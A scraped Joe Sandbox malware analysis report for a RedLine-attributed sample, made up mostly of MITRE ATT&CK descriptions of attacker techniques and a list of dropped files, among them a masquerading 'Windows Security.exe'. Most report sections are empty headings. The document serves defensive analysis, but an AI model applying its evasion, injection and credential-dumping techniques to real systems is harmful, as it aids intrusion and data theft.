Instruction Fuzzy Hash: 7031B47190CA1C9FDB18EF99D846AF9B7E1EBA9321F10422FD04AD3251CB706846CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18561381.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\18561381.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_050cjxto.oah.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4g0jj3b.toy.ps1

C:\Users\user\AppData\Local\Temp\build.exe

C:\Users\user\AppData\Local\Temp\tmpBD82.vbs

C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe

C:\Users\user\Documents\20220318\PowerShell_transcript.910646.Z4XxodN0.20220318070104.txt

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

\Device\Null

Windows Analysis Report
18561381.exe

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre